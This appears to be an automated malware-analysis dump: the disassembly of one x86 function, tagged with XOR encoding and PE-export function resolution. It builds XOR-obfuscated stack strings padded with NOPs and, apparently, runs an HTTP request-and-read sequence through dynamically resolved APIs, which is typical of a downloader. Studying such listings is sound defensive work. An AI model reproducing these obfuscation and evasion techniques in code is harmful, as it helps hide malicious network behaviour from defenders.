Function at 0x41fa53
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x438
mov ebp, dword [esp + 0x44c]
mov dword [esp + 0x38], 0xc3adc18d
mov dword [esp + 0x3c], 0xc7afc55e
mov dword [esp + 0x40], 0xcba6c9a4
mov dword [esp + 0x44], 0xcfe1cdad
mov dword [esp + 0x48], 0xf3dcf1a5
mov dword [esp + 0x4c], 0xf7d6f5a4
mov dword [esp + 0x50], 0xfb8df9d0
mov dword [esp + 0x54], 0xff90fd95
mov dword [esp + 0x58], 0xe38de184
mov dword [esp + 0x5c], 0xe775e573
mov dword [esp + 0x60], 0xeba4e9c8
mov dword [esp + 0x64], 0xefceed98
mov dword [esp + 0x68], 0x13421141
mov dword [esp + 0x6c], 0x1746153a
mov dword [esp + 0x70], 0x1b3a1943
mov dword [esp + 0x74], 0x1f771d6b
mov dword [esp + 0x78], 0x354016e
mov dword [esp + 0x7c], 0x75d0550
mov dword [esp + 0x80], 0xb920928
mov dword [esp + 0x84], 0xf5a0d5a
mov dword [esp + 0x88], 0x33123119
mov dword [esp + 0x8c], 0x37a63575
mov dword [esp + 0x90], 0x3b5639a8
mov dword [esp + 0x94], 0x3f493d59
mov dword [esp + 0x98], 0x23402145
mov dword [esp + 0x9c], 0x274f256f
mov dword [esp + 0xa0], 0x2b0529bc
mov dword [esp + 0xa4], 0x2f7d2d79
mov dword [esp + 0xa8], 0x537c5107
mov dword [esp + 0xac], 0x57005507
mov dword [esp + 0xb0], 0x5b725978
mov dword [esp + 0xb4], 0x5f165d17
mov dword [esp + 0xb8], 0x430f4134
mov dword [esp + 0xbc], 0x476a4508
mov dword [esp + 0xc0], 0x4b264968
mov dword [esp + 0xc4], 0x4f254d25
mov dword [esp + 0xc8], 0x73527115
mov dword [esp + 0xcc], 0x77137533
mov dword [esp + 0xd0], 0x7b11791b
mov dword [esp + 0xd4], 0x7f577d13
mov dword [esp + 0xd8], 0x63216140
mov dword [esp + 0xdc], 0x67f4650c
mov dword [esp + 0xe0], 0x6b076907
mov dword [esp + 0xe4], 0x6f416d09
mov dword [esp + 0xe8], 0x93c391c1
mov dword [esp + 0xec], 0x97b895cd
mov dword [esp + 0xf0], 0x9bb499c8
mov dword [esp + 0xf4], 0x9fb09dcc
mov dword [esp + 0xf8], 0x83a281d0
mov dword [esp + 0xfc], 0x87e785f7
mov dword [esp + 0x100], 0x8beb89ee
mov dword [esp + 0x104], 0x8fe78d1e
mov dword [esp + 0x108], 0xb3e7b19f
mov dword [esp + 0x10c], 0xb7e1b5e7
mov dword [esp + 0x110], 0xbbe9b996
mov dword [esp + 0x114], 0xbfbebdea
mov dword [esp + 0x118], 0
mov eax, dword [0x44f3c8]
mov ecx, 0xd0
mov edx, 0x2f
nop
nop
nop
movzx esi, byte [esp + ecx - 0x98]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
add bl, 0xf0
mov byte [esp + ecx - 0x98], bl
inc ecx
dec edx
cmp ecx, 0x1b4
jne case.default.0x41025c
lea ecx, [esp + 0x38]
push 0
push 0
push 0
push 0
push ecx
call eax
mov edi, eax
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x449ba0]
xor edi, edi
xor eax, eax
mov ecx, dword [esp + 0x460]
test ecx, ecx
setne al
xor ebp, ebp
jmp dword [eax*4 + 0x449c40]
mov dword [ecx], edi
xor eax, eax
mov ecx, dword [esp + 0x464]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x449c48]
mov dword [ecx], ebp
test edi, edi
setne al
add esp, 0x438
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x449bac]
mov eax, dword [0x44f3cc]
mov dword [esp + 0x38], 0x393a34f9
mov ecx, 0x8d00bc8b
nop
nop
nop
movzx edx, byte [esp + ecx + 0x72ff43ad]
xor edx, ecx
mov esi, edx
and esi, 0x48
xor edx, 0x48
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x72ff43ad], dl
inc ecx
cmp ecx, 0x8d00bc8f
jne 0x4102c0
movzx ecx, word [esp + 0x38]
push 0
push ecx
push ebp
push edi
call eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [0x44f3cc]
mov dword [esp + 0x38], 0x393a34f9
mov ecx, 0x8d00bc8b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x72ff43ad]
xor edx, ecx
mov esi, edx
and esi, 0x48
xor edx, 0x48
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx + 0x72ff43ad], dl
inc ecx
cmp ecx, 0x8d00bc8f
jne 0x410320
movzx ecx, word [esp + 0x38]
push 0
push ecx
push ebp
push edi
call eax
jmp dword [0x449bb4]
mov dword [esp + 0x34], edi
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449bb8]
xor ebp, ebp
xor edi, edi
jmp 0x4106e0
mov dword [esp], eax
mov eax, dword [0x44f3d0]
mov dword [esp + 0x30], eax
mov dword [esp + 4], 0xe362e1e0
mov dword [esp + 8], 0
mov edx, 0x54b5e4a8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + edx - 0x54b5e4a4]
mov edi, edx
and edi, esi
mov ecx, edi
mov ebp, edi
mov ebx, edi
xor esi, edx
lea eax, [esi + edi*2]
and edi, 0xffffffad
and ecx, 2
or ebp, 0xfd
inc ebp
imul ebp, edi
or ebx, 2
imul ebx, ecx
sub ebp, ebx
add eax, ebp
add al, 0xb8
mov byte [esp + edx - 0x54b5e4a4], al
inc edx
cmp edx, 0x54b5e4b0
jne 0x4103a0
mov edx, dword [esp + 4]
mov dword [esp + 0x38], 0x912f9f2c
mov dword [esp + 0x3c], 0x95269325
mov word [esp + 0x40], 0x9794
mov dword [esp + 0x42], 0
mov word [esp + 0x46], 0
mov ebp, 0xd14c4725
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + ebp + 0x2eb3b913]
xor ecx, ebp
add ecx, 0xd7b3d6cc
mov eax, ecx
xor eax, 0x86
and ecx, 0x79
add ecx, ecx
sub ecx, eax
inc cl
mov byte [esp + ebp + 0x2eb3b913], cl
inc ebp
cmp ebp, 0xd14c4735
jne 0x410420
push edx
push 0
push 0
push 0
push dword [esp + 0x460]
lea esi, [esp + 0x4c]
push esi
push dword [esp + 0x18]
call dword [esp + 0x4c]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449bc0]
xor ebp, ebp
xor edi, edi
jmp 0x4106d7
mov edi, eax
movzx eax, byte [0x44f500]
jmp dword [eax*4 + 0x449bd8]
mov dword [esp + 4], 0x61176739
mov dword [esp + 8], 0x7d176311
mov dword [esp + 0xc], 0x79017f07
mov dword [esp + 0x10], 0x755a7b32
mov dword [esp + 0x14], 0x71177715
mov dword [esp + 0x18], 0x8d0c730d
mov dword [esp + 0x1c], 0x89f98fed
mov dword [esp + 0x20], 0x85eb8b01
mov dword [esp + 0x24], 0x810d87e6
mov dword [esp + 0x28], 0x9dc583f0
mov dword [esp + 0x2c], 0x9f9c
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0xe9
xor cl, byte [esp + eax + 4]
add cl, 0x73
mov byte [esp + eax + 4], cl
inc eax
cmp eax, 0x2c
jne 0x4104f0
movzx eax, word [esp + 4]
test ax, ax
je 0x410531
lea esi, [esp + 0x38]
lea ecx, [esp + 6]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x410520
mov word [esi], 0
movzx eax, word [0x44f502]
test ax, ax
je 0x410565
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi + ecx], ax
movzx eax, word [ecx + 0x44f504]
add ecx, 2
test ax, ax
jne 0x410550
add esi, ecx
mov word [esi], 0
lea eax, [esp + 0x38]
push 0x20000000
push 0xffffffffffffffff
push eax
push edi
call dword [0x44f3dc]
xor ebp, ebp
mov ecx, dword [esp + 0x454]
mov eax, ecx
neg eax
mov eax, 0
sbb eax, eax
push 0
mov edx, dword [esp + 0x460]
push edx
push edx
push dword [esp + 0x464]
push eax
push ecx
mov esi, edi
push edi
call dword [0x44f3e0]
xor ecx, ecx
test eax, eax
setne cl
xor edi, edi
jmp dword [ecx*4 + 0x449be0]
push 0
push esi
call dword [0x44f3e4]
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
xor edi, edi
jmp dword [ecx*4 + 0x449be8]
mov dword [esp + 0x38], 0
xor edi, edi
xor ebp, ebp
jmp dword [0x449bf4]
lea eax, [esp + 0x38]
push eax
push esi
call dword [0x44f3e8]
lea eax, [esp + 0x38]
push eax
push esi
call dword [0x44f3e8]
jmp dword [0x449bf8]
mov ecx, dword [esp + 0x38]
test eax, eax
setne al
test ecx, ecx
setne dl
and dl, al
movzx eax, dl
jmp dword [eax*4 + 0x449c00]
lea eax, [ecx + ebp]
inc eax
push eax
push edi
call fcn.00441250
add esp, 8
mov ebx, eax
xor eax, eax
test ebx, ebx
sete al
jmp dword [eax*4 + 0x449c08]
jmp dword [0x449c10]
mov eax, 1
jmp dword [eax*4 + 0x449c30]
add ebp, dword [esp + 4]
xor eax, eax
mov edi, ebx
jmp dword [eax*4 + 0x449c30]
jmp dword [0x449bf4]
mov dword [esp + 4], 0
lea eax, [ebx + ebp]
lea ecx, [esp + 4]
push ecx
push dword [esp + 0x3c]
push eax
push esi
call dword [0x44f3ec]
mov dword [esp + 4], 0
lea eax, [ebx + ebp]
lea ecx, [esp + 4]
push ecx
push dword [esp + 0x3c]
push eax
push esi
call dword [0x44f3ec]
jmp dword [0x449c18]
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x449c38]
mov byte [edi + ebp], 0
push esi
call dword [0x44f3f4]
push dword [esp]
call dword [0x44f3f4]
push dword [esp + 0x34]
call dword [0x44f3f4]
xor eax, eax
mov ecx, dword [esp + 0x460]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x449c40]
push edi
call fcn.0043e380
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x464]
test ecx, ecx
setne al
jmp dword [eax*4 + 0x449c48]
xor ebx, ebx
push esi
call dword [0x44f3f4]
jmp 0x410ca9
push eax
sub esp, 0xe0
mov eax, esp
sub esp, 8
mov dword [ebp - 0x10], esp
sub esp, 8
mov dword [ebp - 0x20], esp
sub esp, 0xc
mov dword [ebp - 0x24], esp
sub esp, 0x200
mov dword [ebp - 0x38], esp
sub esp, 0x2c
mov dword [ebp - 0x1c], esp
sub esp, 8
mov dword [ebp - 0x18], esp
push eax
mov dword [ebp - 0x34], esp
mov ecx, dword [0x44f3c8]
mov dword [ebp - 0x14], ecx
mov dword [eax], 0x39ab3b8f
mov dword [eax + 4], 0x25b127be
mov dword [eax + 8], 0x21b623b0
mov dword [eax + 0xc], 0x2dff2f8f
mov dword [eax + 0x10], 0x29f82bf7
mov dword [eax + 0x14], 0x15f617f8
mov dword [eax + 0x18], 0x11ab13fc
mov dword [eax + 0x1c], 0x1d8c1f87
mov dword [eax + 0x20], 0x198b1bb0
mov dword [eax + 0x24], 0x59b0781
mov dword [eax + 0x28], 0x1b003e4
mov dword [eax + 0x2c], 0xdee0fbc
mov dword [eax + 0x30], 0x9da0bd3
mov dword [eax + 0x34], 0xf526f7da
mov dword [eax + 0x38], 0xf112f331
mov dword [eax + 0x3c], 0xfd69ff49
mov dword [eax + 0x40], 0xf920fb6e
mov dword [eax + 0x44], 0xe523e724
mov dword [eax + 0x48], 0xe17ae304
mov dword [eax + 0x4c], 0xed32ef3a
mov dword [eax + 0x50], 0xe90aeb3b
mov dword [eax + 0x54], 0xd546d727
mov dword [eax + 0x58], 0xd146d344
mov dword [eax + 0x5c], 0xdd67df7b
mov dword [eax + 0x60], 0xd974db77
mov dword [eax + 0x64], 0xc551c76d
mov dword [eax + 0x68], 0xc113c358
mov dword [eax + 0x6c], 0xcd13cf1b
mov dword [eax + 0x70], 0xc918cb15
mov dword [eax + 0x74], 0xb56cb715
mov dword [eax + 0x78], 0xb15ab354
mov dword [eax + 0x7c], 0xbd76bf05
mov dword [eax + 0x80], 0xb909bb00
mov dword [eax + 0x84], 0xa572a70c
mov dword [eax + 0x88], 0xa136a344
mov dword [eax + 0x8c], 0xad3baf37
mov dword [eax + 0x90], 0xa94aab07
mov dword [eax + 0x94], 0x953d9761
mov dword [eax + 0x98], 0x91079339
mov dword [eax + 0x9c], 0x9d499f01
mov dword [eax + 0xa0], 0x99579b7c
mov dword [eax + 0xa4], 0x85188730
mov dword [eax + 0xa8], 0x81118315
mov dword [eax + 0xac], 0x8d5f8f2b
mov dword [eax + 0xb0], 0x89558b53
mov dword [eax + 0xb4], 0x75a4774f
mov dword [eax + 0xb8], 0x71a073a4
mov dword [eax + 0xbc], 0x7dac7fa0
mov dword [eax + 0xc0], 0x799a7bac
mov dword [eax + 0xc4], 0x65c967c5
mov dword [eax + 0xc8], 0x61cd63ce
mov dword [eax + 0xcc], 0x6df96ffe
mov dword [eax + 0xd0], 0x69b16bbd
mov dword [eax + 0xd4], 0x558f57b5
mov dword [eax + 0xd8], 0x518f5386
mov dword [eax + 0xdc], 0x5d5e5f8a
mov byte [eax + 0xe2], 0
mov word [eax + 0xe0], 0
mov edx, 0x3794bfb4
mov esi, eax
movzx ebx, byte [esi]
mov edi, edx
or edi, ebx
lea ecx, [edx - 0x3794bf00]
and ecx, ebx
not edi
or edi, ecx
mov ecx, edi
and ecx, 1
xor edi, 1
lea ecx, [edi + ecx*2]
add cl, 0x88
mov byte [esi], cl
inc esi
dec edx
cmp edx, 0x3794bed1
jne 0x410960
push 0
push 0
push 0
push 0
push eax
call dword [ebp - 0x14]
jmp dword [0x449c5c]
push eax
sub esp, 0xe0
mov eax, esp
mov ecx, dword [0x44f3c8]
mov dword [ebp - 0x18], ecx
mov dword [eax], 0x39ab3b8f
mov dword [eax + 4], 0x25b127be
mov dword [eax + 8], 0x21b623b0
mov dword [eax + 0xc], 0x2dff2f8f
mov dword [eax + 0x10], 0x29f82bf7
mov dword [eax + 0x14], 0x15f617f8
mov dword [eax + 0x18], 0x11ab13fc
mov dword [eax + 0x1c], 0x1d8c1f87
mov dword [eax + 0x20], 0x198b1bb0
mov dword [eax + 0x24], 0x59b0781
mov dword [eax + 0x28], 0x1b003e4
mov dword [eax + 0x2c], 0xdee0fbc
mov dword [eax + 0x30], 0x9da0bd3
mov dword [eax + 0x34], 0xf526f7da
mov dword [eax + 0x38], 0xf112f331
mov dword [eax + 0x3c], 0xfd69ff49
mov dword [eax + 0x40], 0xf920fb6e
mov dword [eax + 0x44], 0xe523e724
mov dword [eax + 0x48], 0xe17ae304
mov dword [eax + 0x4c], 0xed32ef3a
mov dword [eax + 0x50], 0xe90aeb3b
mov dword [eax + 0x54], 0xd546d727
mov dword [eax + 0x58], 0xd146d344
mov dword [eax + 0x5c], 0xdd67df7b
mov dword [eax + 0x60], 0xd974db77
mov dword [eax + 0x64], 0xc551c76d
mov dword [eax + 0x68], 0xc113c358
mov dword [eax + 0x6c], 0xcd13cf1b
mov dword [eax + 0x70], 0xc918cb15
mov dword [eax + 0x74], 0xb56cb715
mov dword [eax + 0x78], 0xb15ab354
mov dword [eax + 0x7c], 0xbd76bf05
mov dword [eax + 0x80], 0xb909bb00
mov dword [eax + 0x84], 0xa572a70c
mov dword [eax + 0x88], 0xa136a344
mov dword [eax + 0x8c], 0xad3baf37
mov dword [eax + 0x90], 0xa94aab07
mov dword [eax + 0x94], 0x953d9761
mov dword [eax + 0x98], 0x91079339
mov dword [eax + 0x9c], 0x9d499f01
mov dword [eax + 0xa0], 0x99579b7c
mov dword [eax + 0xa4], 0x85188730
mov dword [eax + 0xa8], 0x81118315
mov dword [eax + 0xac], 0x8d5f8f2b
mov dword [eax + 0xb0], 0x89558b53
mov dword [eax + 0xb4], 0x75a4774f
mov dword [eax + 0xb8], 0x71a073a4
mov dword [eax + 0xbc], 0x7dac7fa0
mov dword [eax + 0xc0], 0x799a7bac
mov dword [eax + 0xc4], 0x65c967c5
mov dword [eax + 0xc8], 0x61cd63ce
mov dword [eax + 0xcc], 0x6df96ffe
mov dword [eax + 0xd0], 0x69b16bbd
mov dword [eax + 0xd4], 0x558f57b5
mov dword [eax + 0xd8], 0x518f5386
mov dword [eax + 0xdc], 0x5d5e5f8a
mov byte [eax + 0xe2], 0
mov word [eax + 0xe0], 0
mov edx, 0x3794bfb4
mov esi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esi]
mov edi, edx
or edi, ebx
lea ecx, [edx - 0x3794bf00]
and ecx, ebx
not edi
or edi, ecx
mov ecx, edi
and ecx, 1
xor edi, 1
lea ecx, [edi + ecx*2]
add cl, 0x88
mov byte [esi], cl
inc esi
dec edx
cmp edx, 0x3794bed1
jne 0x410ba0
push 0
push 0
push 0
push 0
push eax
call dword [ebp - 0x18]
jmp case.0x41025c.44
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449c60]
xor ebx, ebx
jmp 0x410cb2
mov dword [ebp - 0x28], eax
mov eax, dword [0x44f3cc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x616664a1
mov word [eax + 4], 0
xor edx, edx
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x14], edx
movzx edi, byte [eax + ecx]
mov dword [ebp - 0x30], edi
mov eax, ecx
xor eax, 0x645126f4
mov edx, dword [ebp - 0x14]
and edx, 6
sub edx, eax
lea eax, [edi + edi]
not eax
add eax, edi
mov esi, edi
not esi
mov ebx, esi
xor ebx, eax
add ebx, eax
and eax, edi
sub ebx, eax
lea edi, [ebx + ebx]
not edi
add edi, ebx
mov eax, 0xa2
sub eax, edx
or edi, eax
and eax, esi
add edx, 0x5d
mov esi, dword [ebp - 0x30]
xor edx, esi
add edx, esi
add eax, edx
inc eax
not edi
or eax, edi
add al, 0xf3
mov edx, dword [ebp - 0x10]
mov byte [edx + ecx], al
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
inc ecx
add edx, 2
cmp ecx, 6
jne case.default.0x410ca0
movzx eax, word [eax]
push 0
push eax
push 0x44f3fc
push dword [ebp - 0x28]
call dword [ebp - 0x2c]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449c68]
xor ebx, ebx
push dword [ebp - 0x28]
call dword [0x44f3f4]
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x14], eax
mov eax, dword [0x44f3d0]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x69ea6b64
mov byte [eax + 4], 0
xor ecx, ecx
mov dl, 0x18
nop
nop
nop
nop
nop
nop
nop
nop
mov dh, byte [eax + ecx]
xor dh, dl
mov bl, 0x7c
sub bl, dh
mov byte [eax + ecx], bl
inc ecx
dec dl
cmp ecx, 5
jne 0x410ce0
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx], 0xe157e754
mov dword [ecx + 4], 0xdd4ee34d
mov dword [ecx + 8], 0xdfdc
xor edx, edx
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx + eax]
mov edi, edx
and edi, 0x12
mov esi, eax
xor esi, 0x1cfec8d9
add esi, edi
mov edi, esi
not edi
or edi, ebx
not ebx
or ebx, esi
add ebx, edi
mov cl, 0xc1
sub cl, bl
mov esi, dword [ebp - 0x24]
mov byte [esi + eax], cl
mov ecx, dword [ebp - 0x24]
inc eax
add edx, 2
cmp eax, 0xc
jne case.default.0x410d72
push dword [ebp - 0x20]
push 0
push 0
push 0
push dword [ebp + 8]
push ecx
mov esi, dword [ebp - 0x14]
push esi
call dword [ebp - 0x10]
mov edi, eax
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x449c70]
xor eax, eax
mov esi, dword [ebp + 0x20]
test esi, esi
setg al
jmp dword [eax*4 + 0x449c78]
jmp dword [0x449c84]
push esi
push esi
push esi
push esi
push edi
call dword [0x44f3d8]
nop
nop
nop
nop
nop
push esi
push esi
push esi
push esi
push edi
call dword [0x44f3d8]
jmp dword [0x449c8c]
mov dword [ebp - 0x10], edi
movzx eax, byte [0x44f500]
mov edi, dword [ebp - 0x38]
jmp dword [eax*4 + 0x449c90]
jmp dword [0x449c98]
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x9fb0bd1
mov dword [eax + 4], 0x5f307f9
mov dword [eax + 8], 0x1f903f3
mov dword [eax + 0xc], 0x1d3e1fc6
mov dword [eax + 0x10], 0x19fb1bfd
mov dword [eax + 0x14], 0x15ec17e5
mov dword [eax + 0x18], 0x11e113f5
mov dword [eax + 0x1c], 0x2dcf2f99
mov dword [eax + 0x20], 0x29ad2bd2
mov dword [eax + 0x24], 0x25e527d8
mov dword [eax + 0x28], 0x2324
xor eax, eax
xor ecx, ecx
nop
nop
mov esi, eax
and esi, 6
mov edx, ecx
xor edx, 0x43
add edx, esi
mov esi, dword [ebp - 0x1c]
xor dl, byte [esi + ecx]
add dl, 0xb1
mov byte [esi + ecx], dl
inc ecx
add eax, 2
cmp ecx, 0x2c
jne 0x410e20
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x410e61
lea edx, [esi + 2]
mov eax, edi
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x410e50
mov word [eax], 0
movzx ecx, word [0x44f502]
test cx, cx
mov esi, dword [ebp - 0x18]
je 0x410e95
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax + edx], cx
movzx ecx, word [edx + 0x44f504]
add edx, 2
test cx, cx
jne 0x410e80
add eax, edx
mov word [eax], 0
mov eax, dword [0x44f3dc]
mov dword [esi], 0x99babb84
mov byte [esi + 4], 0
mov ecx, 0x4904141f
mov edx, 0xe0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp - 0x18]
movzx esi, byte [esi + ecx - 0x4904141f]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
mov esi, ebx
and esi, 1
or ebx, 1
add ebx, esi
mov esi, dword [ebp - 0x18]
add bl, 0x64
mov byte [esi + ecx - 0x4904141f], bl
inc ecx
dec edx
cmp ecx, 0x49041424
jne 0x410ec0
push dword [esi]
push 0xffffffffffffffff
push edi
push dword [ebp - 0x10]
call eax
nop
nop
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + 2]
mov dword [ecx], 0x9fb0bd1
mov dword [ecx + 4], 0x5f307f9
mov dword [ecx + 8], 0x1f903f3
mov dword [ecx + 0xc], 0x1d3e1fc6
mov dword [ecx + 0x10], 0x19fb1bfd
mov dword [ecx + 0x14], 0x15ec17e5
mov dword [ecx + 0x18], 0x11e113f5
mov dword [ecx + 0x1c], 0x2dcf2f99
mov dword [ecx + 0x20], 0x29ad2bd2
mov dword [ecx + 0x24], 0x25e527d8
mov dword [ecx + 0x28], 0x2324
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 6
mov ebx, edx
xor ebx, 0x43
add ebx, esi
mov esi, dword [ebp - 0x1c]
xor bl, byte [esi + edx]
add bl, 0xb1
mov byte [esi + edx], bl
inc edx
add ecx, 2
cmp edx, 0x2c
jne 0x410f60
movzx edx, word [esi]
mov ecx, edi
test dx, dx
je 0x410fa1
mov ecx, edi
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x410f90
mov word [ecx], 0
movzx eax, word [0x44f502]
test ax, ax
mov esi, dword [ebp - 0x18]
je 0x410fd5
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx + edx], ax
movzx eax, word [edx + 0x44f504]
add edx, 2
test ax, ax
jne 0x410fc0
add ecx, edx
mov word [ecx], 0
mov eax, dword [0x44f3dc]
mov dword [esi], 0x99babb84
mov byte [esi + 4], 0
mov ecx, 0x4904141f
mov edx, 0xe0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp - 0x18]
movzx esi, byte [esi + ecx - 0x4904141f]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
mov esi, ebx
and esi, 1
or ebx, 1
add ebx, esi
mov esi, dword [ebp - 0x18]
add bl, 0x64
mov byte [esi + ecx - 0x4904141f], bl
inc ecx
dec edx
cmp ecx, 0x49041424
jne 0x411000
push dword [esi]
push 0xffffffffffffffff
push edi
push dword [ebp - 0x10]
call eax
jmp dword [0x449ca4]
xor eax, eax
mov edx, dword [ebp + 0xc]
mov ecx, edx
neg ecx
sbb eax, eax
push 0
mov esi, dword [ebp + 0x1c]
push esi
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edx
mov edi, dword [ebp - 0x10]
push edi
call dword [0x44f3e0]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x449ca8]
xor ebx, ebx
jmp case.0x41025c.67
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
push eax
push esi
push dword [ebp + 0x18]
push edi
call dword [0x44f3f0]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x449cb0]
push 0
push edi
call dword [0x44f3e4]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x449cb8]
mov eax, dword [case.0x41025c.67]
nop
nop
nop
nop
mov bl, 1
jmp eax
mov esi, dword [ebp - 0x14]
push edi
call dword [0x44f3f4]
jmp 0x410731
jmp dword [0x44a3ac]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
jmp dword [0x44a3b0]
shr eax, 0x1f
jmp dword [eax*4 + 0x44a3b8]
push 0x44f39c
call fcn.0043ba10
add esp, 4
mov eax, dword [str.7567fff5468f5b682780aea4c2eb6266]
mov dword [esp + 0x10], eax
mov dword [esp + 0xb8], 0x4181ad6a
mov eax, 0x98d2592d
mov ecx, 0x31a4b25a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 0x48
mov edx, eax
xor edx, 0xe4
add edx, esi
xor dl, byte [esp + eax + 0x672da78b]
add dl, 0xab
mov byte [esp + eax + 0x672da78b], dl
inc eax
add ecx, 2
cmp eax, 0x98d25931
jne 0x411190
mov eax, dword [str.hRjzG3__KASTA]
mov dword [esp], eax
mov dword [esp + 0x1b8], 0x6e1a6a6f
mov dword [esp + 0x1bc], 0x5e575422
mov dword [esp + 0x1c0], 0x56575022
mov dword [esp + 0x1c4], 0x5e2f2e5f
mov dword [esp + 0x1c8], 0x37985855
mov dword [esp + 0x1cc], 0x717d3147
mov dword [esp + 0x1d0], 0x4580778a
mov dword [esp + 0x1d4], 0xad754f43
mov word [esp + 0x1d8], 0
mov byte [esp + 0x1da], 0
xor edi, edi
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x1b8]
mov dword [esp + 4], ecx
mov edx, edi
and edx, 0x3a
mov esi, eax
xor esi, 0xed6d7e5d
add esi, edx
mov edx, esi
xor edx, ecx
lea ebx, [edx + edx]
not ebx
add ebx, edx
and ebx, esi
mov ecx, ebx
and ecx, 2
mov edx, ebx
or ebx, 2
imul ebx, ecx
xor ecx, 2
and edx, 0xed6d7efd
imul edx, ecx
sub ebx, esi
add ebx, edx
mov edx, dword [esp + 4]
mov ecx, edx
not ecx
and ecx, ebx
not ebx
and ebx, edx
sub ebx, ecx
add bl, 0x2f
mov byte [esp + eax + 0x1b8], bl
inc eax
add edi, 2
cmp eax, 0x23
jne 0x411240
movzx eax, byte [esp + 0x1b8]
lea ecx, [esp + 0xa20]
test al, al
je 0x4112dd
lea esi, [esp + 0x1b9]
mov edx, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x4112d0
jmp 0x4112e0
mov edx, dword [esp]
mov byte [ecx], 0
movzx eax, byte [edx]
test al, al
je 0x4112fb
inc edx
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x4112f0
mov byte [ecx], 0
movzx eax, byte [esp + 0xb8]
test al, al
je 0x41132b
lea edx, [esp + 0xb9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x411320
mov byte [ecx], 0
mov edx, dword [esp + 0x10]
movzx eax, byte [edx]
test al, al
je 0x41134b
inc edx
nop
nop
nop
nop
nop
nop
mov byte [ecx], al
inc ecx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x411340
mov byte [ecx], 0
mov dword [esp + 0x1b8], 0xe91beb21
